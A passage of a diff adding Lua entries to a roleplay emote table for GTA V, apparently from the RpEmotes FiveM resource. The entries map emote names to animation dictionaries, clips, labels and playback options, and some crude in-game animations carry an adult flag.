= 64113, + SecondPropPlacement = { + 0.0270, + 0.0080, + 0.0050, + -11.6920, + -78.3079, + 7.9470 + }, + EmoteLoop = true, + EmoteMoving = true, + PtfxAsset = "scr_mp_cig", + PtfxName = "ent_anim_cig_smoke", + PtfxNoProp = false, + PtfxPlacement = { + -0.07, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('smoke'), + PtfxWait = 0.8, + PtfxCanHold = true + } + }, + ["clapangry"] = { + "anim@arena@celeb@flat@solo@no_props@", + "angry_clap_a_player_a", + "Clap Angry", + AnimationOptions = { + EmoteLoop = true + } + }, + ["slowclap3"] = { + "anim@mp_player_intupperslow_clap", + "idle_a", + "Slow Clap 3", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["clap"] = { + "amb@world_human_cheering@male_a", + "base", + "Clap", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["slowclap"] = { + "anim@mp_player_intcelebrationfemale@slow_clap", + "slow_clap", + "Slow Clap", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["slowclap2"] = { + "anim@mp_player_intcelebrationmale@slow_clap", + "slow_clap", + "Slow Clap 2", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["smell"] = { + "move_p_m_two_idles@generic", + "fidget_sniff_fingers", + "Smell", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["stickup"] = { + "random@countryside_gang_fight", + "biker_02_stickup_loop", + "Stick Up", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["stumble"] = { + "misscarsteal4@actor", + "stumble", + "Stumble", + AnimationOptions = { + EmoteLoop = true + } + }, + ["stunned"] = { + "stungun@standing", + "damage", + "Stunned", + AnimationOptions = { + EmoteLoop = true + } + }, + ["sunbathe"] = { + "amb@world_human_sunbathe@male@back@base", + "base", + "Sunbathe - Hand On Head", + AnimationOptions = { + EmoteLoop = true, + StartDelay = 700, + NotInVehicle = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["sunbathe2"] = { + "amb@world_human_sunbathe@female@back@base", + "base", + "Sunbathe 2 - Hand Over Face", + AnimationOptions = { + EmoteLoop = true, + StartDelay = 700, + NotInVehicle = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["sunbathe3"] = { + "amb@world_human_sunbathe@female@front@base", + "base", + "Sunbathe 3 - Lay On Stomach", + AnimationOptions = { + EmoteLoop = true, + StartDelay = 700, + NotInVehicle = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["tpose"] = { + "missfam5_yoga", + "a2_pose", + "T Pose", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["tpose2"] = { + "mp_sleep", + "bind_pose_180", + "T Pose 2", + AnimationOptions = { + EmoteLoop = true + } + }, + ["think5"] = { + "mp_cp_welcome_tutthink", + "b_think", + "Think 5", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 2000 + } + }, + ["think"] = { + "misscarsteal4@aliens", + "rehearsal_base_idle_director", + "Think", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["think3"] = { + "timetable@tracy@ig_8@base", + "base", + "Think 3", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["think2"] = { + "missheist_jewelleadinout", + "jh_int_outro_loop_a", + "Think 2", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["thumbsup3"] = { + "anim@mp_player_intincarthumbs_uplow@ds@", + "enter", + "Thumbs Up 3", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 3000 + } + }, + ["thumbsup2"] = { + "anim@mp_player_intselfiethumbs_up", + "idle_a", + "Thumbs Up 2", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["thumbsup"] = { + "anim@mp_player_intupperthumbs_up", + "idle_a", + "Thumbs Up", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["type"] = { + "anim@heists@prison_heiststation@cop_reactions", + "cop_b_idle", + "Type", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["type2"] = { + "anim@heists@prison_heistig1_p1_guard_checks_bus", + "loop", + "Type 2", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["type3"] = { + "mp_prison_break", + "hack_loop", + "Type 3", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["type4"] = { + "mp_fbi_heist", + "loop", + "Type 4", + AnimationOptions = { + EmoteLoop = true + } + }, + ["warmth"] = { + "amb@world_human_stand_fire@male@idle_a", + "idle_a", + "Warmth", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["wave4"] = { + "random@mugging5", + "001445_01_gangintimidation_1_female_idle_b", + "Wave 4", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 3000 + } + }, + ["wave2"] = { + "anim@mp_player_intcelebrationfemale@wave", + "wave", + "Wave 2", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["wave3"] = { + "friends@fra@ig_1", + "over_here_idle_a", + "Wave 3", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["wave"] = { + "friends@frj@ig_1", + "wave_a", + "Wave", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["wave5"] = { + "friends@frj@ig_1", + "wave_b", + "Wave 5", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["wave6"] = { + "friends@frj@ig_1", + "wave_c", + "Wave 6", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["wave7"] = { + "friends@frj@ig_1", + "wave_d", + "Wave 7", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["wave8"] = { + "friends@frj@ig_1", + "wave_e", + "Wave 8", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["wave9"] = { + "gestures@m@standing@casual", + "gesture_hello", + "Wave 9", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["whistle"] = { + "taxi_hail", + "hail_taxi", + "Whistle", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 1300 + } + }, + ["whistle2"] = { + "rcmnigel1c", + "hailing_whistle_waive_a", + "Whistle 2", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 2000 + } + }, + ["yeah"] = { + "anim@mp_player_intupperair_shagging", + "idle_a", + "Yeah", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["lift"] = { + "random@hitch_lift", + "idle_f", + "Lift", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["lol"] = { + "anim@arena@celeb@flat@paired@no_props@", + "laugh_a_player_b", + "LOL", + AnimationOptions = { + EmoteLoop = true + } + }, + ["lol2"] = { + "anim@arena@celeb@flat@solo@no_props@", + "giggle_a_player_b", + "LOL 2", + AnimationOptions = { + EmoteLoop = true + } + }, + ["statue2"] = { + "fra_0_int-1", + "cs_lamardavis_dual-1", + "Statue 2", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["statue3"] = { + "club_intro2-0", + "csb_englishdave_dual-0", + "Statue 3", + AnimationOptions = { + EmoteLoop = true + } + }, + ["gangsign"] = { + "mp_player_int_uppergang_sign_a", + "mp_player_int_gang_sign_a", + "Gang Sign", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["gangsign2"] = { + "mp_player_int_uppergang_sign_b", + "mp_player_int_gang_sign_b", + "Gang Sign 2", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["gangsign3"] = { + "amb@code_human_in_car_mp_actions@gang_sign_b@low@ps@base", + "idle_a", + "Gang Sign 3", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["gangsign4"] = { + "amb@code_human_in_car_mp_actions@v_sign@std@rds@base", + "idle_a", + "Gang Sign 4", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["passout"] = { + "missarmenian2", + "drunk_loop", + "Passout", + AnimationOptions = { + EmoteLoop = true, + StartDelay = 900, + NotInVehicle = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["passout2"] = { + "missarmenian2", + "corpse_search_exit_ped", + "Passout 2", + AnimationOptions = { + EmoteLoop = true, + StartDelay = 900, + NotInVehicle = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["passout3"] = { + "anim@gangops@morgue@table@", + "body_search", + "Passout 3", + AnimationOptions = { + EmoteLoop = true, + StartDelay = 900, + NotInVehicle = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["passout4"] = { + "mini@cpr@char_b@cpr_def", + "cpr_pumpchest_idle", + "Passout 4", + AnimationOptions = { + EmoteLoop = true, + StartDelay = 900, + NotInVehicle = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["passout5"] = { + "random@mugging4", + "flee_backward_loop_shopkeeper", + "Passout 5", + AnimationOptions = { + EmoteLoop = true, + StartDelay = 900, + NotInVehicle = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["petting"] = { + "creatures@rottweiler@tricks@", + "petting_franklin", + "Petting", + AnimationOptions = { + EmoteLoop = true + } + }, + ["crawl"] = { + "move_injured_ground", + "front_loop", + "Crawl", + AnimationOptions = { + EmoteLoop = true, + StartDelay = 700, + ExitEmote = "meditateup", + ExitEmoteType = "Exits" + } + }, + ["flip2"] = { + "anim@arena@celeb@flat@solo@no_props@", + "cap_a_player_a", + "Flip 2" + }, + ["flip"] = { + "anim@arena@celeb@flat@solo@no_props@", + "flip_a_player_a", + "Flip" + }, + ["slide"] = { + "anim@arena@celeb@flat@solo@no_props@", + "slide_a_player_a", + "Slide" + }, + ["slide2"] = { + "anim@arena@celeb@flat@solo@no_props@", + "slide_b_player_a", + "Slide 2" + }, + ["slide3"] = { + "anim@arena@celeb@flat@solo@no_props@", + "slide_c_player_a", + "Slide 3" + }, + ["slugger"] = { + "anim@arena@celeb@flat@solo@no_props@", + "slugger_a_player_a", + "Slugger" + }, + ["flipoff"] = { + "anim@arena@celeb@podium@no_prop@", + "flip_off_a_1st", + "Flip Off", + AnimationOptions = { + EmoteMoving = true + } + }, + ["flipoff2"] = { + "anim@arena@celeb@podium@no_prop@", + "flip_off_c_1st", + "Flip Off 2", + AnimationOptions = { + EmoteMoving = true + } + }, + ["bow"] = { + "anim@arena@celeb@podium@no_prop@", + "regal_c_1st", + "Bow", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["bow2"] = { + "anim@arena@celeb@podium@no_prop@", + "regal_a_1st", + "Bow 2", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["keyfob"] = { + "anim@mp_player_intmenu@key_fob@", + "fob_click", + "Key Fob", + AnimationOptions = { + EmoteLoop = false, + EmoteMoving = true, + EmoteDuration = 1000 + } + }, + ["holster"] = { + "move_m@intimidation@cop@unarmed", + "idle", + "Holster", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["holster2"] = { --- Custom Emote Provided To RpEmotes By Mads + "mads@police_reaching_holster", + "idle", + "Holster 2", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["holster3"] = { + "anim@hlstr_7360_walk", + "holster_walk", + "Holster 3", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true, + } + }, + ["holster4"] = { + "anim@hlstr_7360_hold", + "holster_stop", + "Holster 4 - Stop", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true, + } + }, + ["holster5"] = { + "anim@holster_hold_there", + "holster_hold", + "Holster 5 - Stop 2", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true, + } + }, + ["slap"] = { + "melee@unarmed@streamed_variations", + "plyr_takedown_front_slap", + "Slap", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true, + EmoteDuration = 2000 + } + }, + ["headbutt"] = { + "melee@unarmed@streamed_variations", + "plyr_takedown_front_headbutt", + "Headbutt" + }, + ["fishdance"] = { + "anim@mp_player_intupperfind_the_fish", + "idle_a", + "Fish Dance", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["peace"] = { + "mp_player_int_upperpeace_sign", + "mp_player_int_peace_sign", + "Peace", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["peace2"] = { + "anim@mp_player_intupperpeace", + "idle_a", + "Peace 2", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["peace3"] = { + "anim@mp_player_intupperpeace", + "idle_a_fp", + "Peace 3", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["peace4"] = { + "anim@mp_player_intincarpeacestd@ds@", + "idle_a", + "Peace 4", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["peace5"] = { + "anim@mp_player_intincarpeacestd@ds@", + "idle_a_fp", + "Peace 5", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["peace6"] = { + "anim@mp_player_intincarpeacebodhi@ds@", + "idle_a", + "Peace 6", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["peace7"] = { + "anim@mp_player_intincarpeacebodhi@ds@", + "idle_a_fp", + "Peace 7", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["peacef"] = { + "anim@mp_player_intcelebrationfemale@peace", + "peace", + "Peace Female", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["cpr"] = { + "mini@cpr@char_a@cpr_str", + "cpr_pumpchest", + "CPR", + AnimationOptions = { + EmoteLoop = true + } + }, + ["cpr2"] = { + "mini@cpr@char_a@cpr_str", + "cpr_pumpchest", + "CPR 2", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["ledge"] = { + "missfbi1", + "ledge_loop", + "Ledge", + AnimationOptions = { + EmoteLoop = true + } + }, + ["airplane"] = { + "missfbi1", + "ledge_loop", + "Air Plane", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["peek"] = { + "random@paparazzi@peek", + "left_peek_a", + "Peek", + AnimationOptions = { + EmoteLoop = true + } + }, + ["cough"] = { + "timetable@gardener@smoking_joint", + "idle_cough", + "Cough", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["stretch"] = { + "mini@triathlon", + "idle_e", + "Stretch", + AnimationOptions = { + EmoteLoop = true + } + }, + ["stretch2"] = { + "mini@triathlon", + "idle_f", + "Stretch 2", + AnimationOptions = { + EmoteLoop = true + } + }, + ["stretch3"] = { + "mini@triathlon", + "idle_d", + "Stretch 3", + AnimationOptions = { + EmoteLoop = true + } + }, + ["stretch4"] = { + "rcmfanatic1maryann_stretchidle_b", + "idle_e", + "Stretch 4", + AnimationOptions = { + EmoteLoop = true + } + }, + ["celebrate"] = { + "rcmfanatic1celebrate", + "celebrate", + "Celebrate", + AnimationOptions = { + EmoteLoop = true + } + }, + ["punching"] = { + "rcmextreme2", + "loop_punching", + "Punching", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["superhero"] = { + "rcmbarry", + "base", + "Superhero", + AnimationOptions = { + EmoteLoop = true + } + }, + ["superhero2"] = { + "rcmbarry", + "base", + "Superhero 2", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["mindcontrol"] = { + "rcmbarry", + "mind_control_b_loop", + "Mind Control", + AnimationOptions = { + EmoteLoop = true + } + }, + ["mindcontrol2"] = { + "rcmbarry", + "bar_1_attack_idle_aln", + "Mind Control 2", + AnimationOptions = { + EmoteLoop = true + } + }, + ["clown"] = { + "rcm_barry2", + "clown_idle_0", + "Clown", + AnimationOptions = { + EmoteLoop = true + } + }, + ["clown2"] = { + "rcm_barry2", + "clown_idle_1", + "Clown 2", + AnimationOptions = { + EmoteLoop = true + } + }, + ["clown3"] = { + "rcm_barry2", + "clown_idle_2", + "Clown 3", + AnimationOptions = { + EmoteLoop = true + } + }, + ["clown4"] = { + "rcm_barry2", + "clown_idle_3", + "Clown 4", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["clown5"] = { + "rcm_barry2", + "clown_idle_6", + "Clown 5", + AnimationOptions = { + EmoteLoop = true + } + }, + ["tryclothes"] = { + "mp_clothing@female@trousers", + "try_trousers_neutral_a", + "Try Clothes", + AnimationOptions = { + EmoteLoop = true + } + }, + ["tryclothes2"] = { + "mp_clothing@female@shirt", + "try_shirt_positive_a", + "Try Clothes 2", + AnimationOptions = { + EmoteLoop = true + } + }, + ["tryclothes3"] = { + "mp_clothing@female@shoes", + "try_shoes_positive_a", + "Try Clothes 3", + AnimationOptions = { + EmoteLoop = true + } + }, + ["nervous2"] = { + "mp_missheist_countrybank@nervous", + "nervous_idle", + "Nervous 2", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["nervous"] = { + "amb@world_human_bum_standing@twitchy@idle_a", + "idle_c", + "Nervous", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["nervous3"] = { + "rcmme_tracey1", + "nervous_loop", + "Nervous 3", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["namaste"] = { + "timetable@amanda@ig_4", + "ig_4_base", + "Namaste", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["threaten"] = { + "random@atmrobberygen", + "b_atm_mugging", + "Threaten", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["radio"] = { + "random@arrests", + "generic_radio_chatter", + "Radio", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["pull"] = { + "random@mugging4", + "struggle_loop_b_thief", + "Pull", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["bird"] = { + "random@peyote@bird", + "wakeup", + "Bird" + }, + ["chicken"] = { + "random@peyote@chicken", + "wakeup", + "Chicken", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["bark"] = { + "random@peyote@dog", + "wakeup", + "Bark" + }, + ["rabbit"] = { + "random@peyote@rabbit", + "wakeup", + "Rabbit" + }, + ["spiderman"] = { + "missexile3", + "ex03_train_roof_idle", + "Spider-Man", + AnimationOptions = { + EmoteLoop = true, + NotInVehicle = true + } + }, + ["boi"] = { + "special_ped@jane@monologue_5@monologue_5c", + "brotheradrianhasshown_2", + "BOI", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 3000 + } + }, + ["adjust"] = { + "missmic4", + "michael_tux_fidget", + "Adjust", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 4000 + } + }, + ["handsup"] = { + "missminuteman_1ig_2", + "handsup_base", + "Hands Up", + AnimationOptions = { + EmoteMoving = true, + EmoteLoop = true + } + }, + ["handsup2"] = { + "anim@mp_player_intuppersurrender", + "idle_a_fp", + "Hands Up 2", + AnimationOptions = { + EmoteMoving = true, + EmoteLoop = true + } + }, + ['handsup3'] = { + 'anim@mp_rollarcoaster', + 'hands_up_idle_a_player_one', + 'Hands Up 3', + AnimationOptions = { + EmoteMoving = true, + EmoteLoop = true + } + }, + ["valet"] = { + "anim@amb@casino@valet_scenario@pose_a@", + "base_a_m_y_vinewood_01", + "Valet", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["valet2"] = { + "anim@amb@casino@valet_scenario@pose_b@", + "base_a_m_y_vinewood_01", + "Valet 2", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["valet3"] = { + "anim@amb@casino@valet_scenario@pose_d@", + "base_a_m_y_vinewood_01", + "Valet 3", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["tighten"] = { + "timetable@denice@ig_1", + "idle_b", + "Tigten (Yoga)", + AnimationOptions = { + EmoteLoop = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["fspose"] = { + "missfam5_yoga", + "c2_pose", + "F Sex Pose", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true + }, + AdultAnimation = true + }, + ["fspose2"] = { + "missfam5_yoga", + "c6_pose", + "F Sex Pose 2", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true, + NotInVehicle = true + }, + AdultAnimation = true + }, + ["fspose3"] = { + "anim@amb@carmeet@checkout_car@", + "female_c_idle_d", + "F Sex Pose 3", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true + }, + AdultAnimation = true + }, + ["showerf"] = { + "mp_safehouseshower@female@", + "shower_enter_into_idle", + "Shower Enter Female", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true + } + }, + ["showerf2"] = { + "mp_safehouseshower@female@", + "shower_idle_a", + "Shower Female", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true + } + }, + ["showerf3"] = { + "mp_safehouseshower@female@", + "shower_idle_b", + "Shower Female 2", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true + } + }, + ["showerm"] = { + "mp_safehouseshower@male@", + "male_shower_idle_a", + "Shower Enter Male", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true + } + }, + ["showerm2"] = { + "mp_safehouseshower@male@", + "male_shower_idle_b", + "Shower Male 2", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true + } + }, + ["showerm3"] = { + "mp_safehouseshower@male@", + "male_shower_idle_c", + "Shower Male 3", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true + } + }, + ["showerm4"] = { + "mp_safehouseshower@male@", + "male_shower_idle_d", + "Shower Male 4", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true + } + }, + ["picklock"] = { + "missheistfbisetup1", + "hassle_intro_loop_f", + "Picklock", + AnimationOptions = { + EmoteMoving = true, + EmoteLoop = true + } + }, + ["cleanhands"] = { + "missheist_agency3aig_23", + "urinal_sink_loop", + "Clean Them Filthy Hands", + AnimationOptions = { + EmoteMoving = true, + EmoteLoop = true + } + }, + ["cleanface"] = { + "switch@michael@wash_face", + "loop_michael", + "Clean Your Face", + AnimationOptions = { + EmoteMoving = true, + EmoteLoop = true + } + }, + ["buzz"] = { + "anim@apt_trans@buzzer", + "buzz_reg", + "Buzz Door", + AnimationOptions = { + EmoteLoop = false, + EmoteMoving = false + } + }, + ["grieve"] = { + "anim@miss@low@fin@vagos@", + "idle_ped05", + "Grieve The Dead", + AnimationOptions = { + EmoteMoving = true, + EmoteLoop = true + } + }, + ["respect"] = { + "anim@mp_player_intcelebrationmale@respect", + "respect", + "Respect Male", + AnimationOptions = { + EmoteMoving = true, + EmoteLoop = false + } + }, + ["respectf"] = { + "anim@mp_player_intcelebrationfemale@respect", + "respect", + "Respect Female", + AnimationOptions = { + EmoteMoving = true, + EmoteLoop = false + } + }, + ["bang"] = { + "anim@mp_player_intcelebrationfemale@bang_bang", + "bang_bang", + "Bang Bang", + AnimationOptions = { + EmoteMoving = false, + EmoteDuration = 2500 + } + }, + ["checkcar"] = { + "anim@amb@carmeet@checkout_car@male_a@idles", + "idle_b", + "Check Out · Female", + AnimationOptions = { + EmoteLoop = true + } + }, + ["checkcar2"] = { + "anim@amb@carmeet@checkout_car@male_c@idles", + "idle_a", + "Check Out 2 · Male", + AnimationOptions = { + EmoteLoop = true + } + }, + ["showboobs"] = { + "mini@strip_club@backroom@", + "stripper_b_backroom_idle_b", + "Show Boobs", + AnimationOptions = { + EmoteMoving = false, + EmoteDuration = 6000, + }, + AdultAnimation = true + }, + ["showboobs2"] = { + "mini@strip_club@idles@stripper", + "stripper_idle_05", + "Show Boobs 2", + AnimationOptions = { + EmoteMoving = false, + EmoteDuration = 6000, + }, + AdultAnimation = true + }, + ["watchstripper"] = { + "amb@world_human_strip_watch_stand@male_c@idle_a", + "idle_b", + "Watch Stripper", + AnimationOptions = { + EmoteMoving = false, + EmoteDuration = 6000, + }, + AdultAnimation = true + }, + ["hhands"] = { + "misssnowie@hearthands", + "base", + "Heart Hands", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["pockets"] = { -- Custom Emote By Dark Animations + "hoodie_hands@dad", + "hoodie_hands_clip", + "Hands in pockets (Hoodie)", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["posecutef"] = { -- Custom Emote By Pupppy + "pupppy@freepose01", + "freepose01", + "Cute Pose Female", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["posecutef2"] = { -- Custom Emote By Pupppy + "pupppy@freepose03", + "freepose03", + "Cute Pose Female 2", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["posecutef3"] = { -- Custom Emote By Pupppy + "pupppy@freepose04", + "freepose04", + "Cute Pose Female 3", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["posecutef4"] = { -- Custom Emote By QueenSistersAnimations + "handkylie@queensisters", + "kylie_clip", + "Cute Pose Female 4", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["posecutem"] = { -- Custom Emote By Pupppy + "pupppy@freepose02", + "freepose02", + "Cute Pose Male", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["checkwatch"] = { -- Custom Emote By MissSnowie + "watch@looking_at", + "base", + "Check Watch", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["pee"] = { + "misscarsteal2peeing", + "peeing_loop", + "Pee (Male)", + AnimationOptions = { + EmoteStuck = true, + PtfxAsset = "scr_amb_chop", + PtfxName = "ent_anim_dog_peeing", + PtfxNoProp = true, + PtfxPlacement = { + -0.05, + 0.3, + 0.0, + 0.0, + 90.0, + 90.0, + 1.0 + }, + PtfxInfo = Translate('pee'), + PtfxWait = 0, + PtfxCanHold = true, + }, + AdultAnimation = true + }, + ["pee2"] = { + "missbigscore1switch_trevor_piss", + "piss_loop", + "Pee 2 (Male)", + AnimationOptions = { + EmoteMoving = true, + EmoteLoop = true, + PtfxAsset = "scr_amb_chop", + PtfxName = "ent_anim_dog_peeing", + PtfxNoProp = true, + PtfxPlacement = { + 0.0130, + 0.1030, + 0.0, + 0.0, + 90.0, + 90.0, + 1.0 + }, + PtfxInfo = Translate('pee'), + PtfxWait = 0, + PtfxCanHold = true, + }, + AdultAnimation = true + }, + ["pee3"] = { + "missbigscore1switch_trevor_piss", + "piss_loop", + "Pee 3 Static (Male)", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true, + PtfxAsset = "scr_amb_chop", + PtfxName = "ent_anim_dog_peeing", + PtfxNoProp = true, + PtfxPlacement = { + 0.0130, + 0.1030, + 0.0, + 0.0, + 90.0, + 90.0, + 1.0 + }, + PtfxInfo = Translate('pee'), + PtfxWait = 0, + PtfxCanHold = true, + }, + AdultAnimation = true + }, + ["hump"] = { + "timetable@trevor@skull_loving_bear", + "skull_loving_bear", + "Hump", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true + }, + AdultAnimation = true + }, + ["wank"] = { + "anim@mp_player_intselfiewank", + "idle_a", + "Wank", + AnimationOptions = { + EmoteMoving = true, + EmoteLoop = true + }, + AdultAnimation = true + }, + ["wank2"] = { + "anim@mp_player_intupperwank", + "idle_a", + "Wank 2", + AnimationOptions = { + EmoteMoving = true, + EmoteLoop = true + }, + AdultAnimation = true + }, + ["wank3"] = { + "mp_player_int_upperwank", + "mp_player_int_wank_02", + "Wank 3", + AnimationOptions = { + EmoteMoving = true, + EmoteLoop = true + }, + AdultAnimation = true + }, + ["wank4"] = { + "mp_player_int_upperwank", + "mp_player_int_wank_02_fp", + "Wank 4", + AnimationOptions = { + EmoteMoving = true, + EmoteLoop = true + }, + AdultAnimation = true + }, + ["wank5"] = { + "mp_player_intwank", + "mp_player_int_wank", + "Wank 5", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = false + }, + AdultAnimation = true + }, + ["calldog"] = { + "switch@franklin@plays_w_dog", + "001916_01_fras_v2_9_plays_w_dog_idle", + "Call Dog", + AnimationOptions = { + EmoteLoop = true, + } + }, + ["calldogr"] = { + "missfra0_chop_find", + "call_chop_r", + "Call Dog - Right", + AnimationOptions = { + EmoteLoop = false, + } + }, + ["calldogl"] = { + "missfra0_chop_find", + "call_chop_l", + "Call Dog - Left", + AnimationOptions = { + EmoteLoop = false, + } + }, + ["block"] = { + "missheist_agency3ashield_face", + "idle", + "Block Face", + AnimationOptions = { + EmoteMoving = true, + EmoteLoop = true + } + }, + ["policecrowd"] = { + "amb@code_human_police_crowd_control@idle_a", + "idle_a", + "Police Crowd", + AnimationOptions = { + EmoteLoop = true + } + }, + ["policecrowd2"] = { + "amb@code_human_police_crowd_control@idle_b", + "idle_d", + "Police Crowd 2", + AnimationOptions = { + EmoteLoop = true + } + }, + ["k9pose"] = { + "anim@k9_pose", + "hug_dog", + "Hug Dog", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false, + } + }, + ["snot"] = { + "move_p_m_two_idles@generic", + "fidget_blow_snot", + "Blow Snot", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 4500, + } + }, + ["scratch"] = { + "move_p_m_two_idles@generic", + "fidget_scratch_balls", + "Scratch Balls", + AnimationOptions = { + EmoteMoving = false, + EmoteDuration = 4000, + }, + AdultAnimation = true + }, + ["cartaunt"] = { + "missarmenian1driving_taunts@lamar_1", + "cmonfrank", + "Car Taunt", + AnimationOptions = { + onlyInVehicle = true, + EmoteMoving = false, + EmoteDuration = 2000, + } + }, + ["cartauntb"] = { + 